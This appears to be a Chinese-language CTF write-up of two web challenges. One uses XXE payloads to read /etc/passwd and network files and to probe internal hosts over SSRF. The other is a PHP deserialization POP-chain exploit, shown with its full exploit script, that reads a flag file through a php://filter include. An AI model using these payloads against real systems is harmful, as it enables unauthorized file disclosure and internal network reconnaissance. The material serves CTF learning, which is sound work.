[NCTF2019]True XML cookbook(xxe漏洞利用)

这题是关于xxe漏洞的实际应用，利用xxe漏洞的外部实体来进行ssrf探针内网的主机

和[NCTF2019]Fake XML cookbook的区别就在于xxe漏洞的利用方向，一个是命令执行，一个是SSRF

看题，打开环境，熟悉的登录框

正常的抓包进行分析，明显的xxe漏洞

开始构造，先查看xxe漏洞能不能正常利用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123</password></user>

 

存在xxe漏洞并且能够正常利用，我在做题时想的是直接查看flag文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file://flag">]>
<user><username>&admin;</username><password>123</password></user>

报错了，说明flag这个文件不存在，也许我们在外网不能正常访问，xxe的漏洞利用就可以探针内网，尝试访问内网看看

/etc/hosts,/proc/net/arp,/proc/net/fib_trie 这三个命令是探测内网的命令，是查看存活主机和主机ip，mac地址

发现有存活主机，但是有用信息不多

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/hosts">]>
<user><username>&admin;</username><password>123</password></user>

前两个命令的反馈不是很多，第三个发现了ip地址

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///proc/net/fib_trie">]>
<user><username>&admin;</username><password>123</password></user>

访问主机ip，看能不能有flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file://http://10.244.80.159">]>
<user><username>&admin;</username><password>123</password></user>

还是没有flag，说明不在这台主机上，我们需要在内网中的其他主机尝试，就需要对这个网段下的主机ip进行爆破，抓包后发送到爆破模块

在爆破后查看各主机ip下的回显

[HNCTF 2022 WEEK4]pop子和pipi美

 打开环境，给了个参数应该要传参，但是不知道传什么，题目给了一个番，是看了wp才知道是番的url

拿到源码

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE  = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}
class Goodsisters{public function PopukoPipimi(){$is = "Good sisters";}public $kiminonawa,$str;public function __construct($file='index.php'){$this->kiminonawa = $file;echo 'Welcome to HNCTF2022 ,';echo 'This is '.$this->kiminonawa."<br>";}public function __toString(){return $this->str->kiminonawa;}public function __wakeup(){if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {echo "仲良ピース!";$this->kiminonawa = "index.php";}}
}if(isset($_GET['pop'])) @unserialize($_GET['pop']);  else{$a=new Goodsisters;if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){highlight_file(__FILE__);echo '欸嘿,你也喜欢pop子~对吧ww';}
} 

 ok，确定是pop链，那么就详细讲讲我的思路构建pop链，当时我做还是有一部分错误

思路：优先找到链尾，根据链尾进行反推至链头，寻找链尾，链尾是有高危函数的，可以帮助我们实现需要的文件读取或者命令执行，这题提示flag在fl4g.php，明显是文件包含，对于文件包含最熟悉的就是include

找到include，作为链尾，分析一下调用到include，当触发append方法时，会执行include，append在invoke中进行了调用并且还调用的私有变量，所以我们就可以对私有变量进行赋值，触发invoke后就可以进行文件包含

class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE  = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}

 invoke方法在以调用方法的方式调用对象时触发

get方法里面在$function中调用了对象p，所以在对象p调用invoke方法

class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}

 get方法在访问不存在的变量时触发

看见一串奇怪的代码，在Goodsisters中str和kiminonawa都是公有变量，但是这里用str调用kiminonawa显然是没有办法调用的，两个变量是平行的关系，所以在调用liminonawa时，是不存在的，可以触发get方法

 public function __toString(){return $this->str->kiminonawa;}

 tostring方法在被当做字符串输出时触发，在所处的类中就有construct调用的变量输出，echo，所以直接类中construct就能触发

现在从链头到链尾都能通顺，开始写exp

<?php
class Popuko {private $No_893='php://filter/convert.base64-encode/resource=f14g.php';
}class Pipimi{  public $pipi;
}
class Goodsisters{public $kiminonawa,$str;
}
$g=new Goodsisters;
$g->kiminonawa=new Goodsisters;
$p=new Pipimi;
$g->kiminonawa->str=$p;
$a=new Popuko;
$p->p=$a;
echo urlencode(serialize($g));

进行base64解码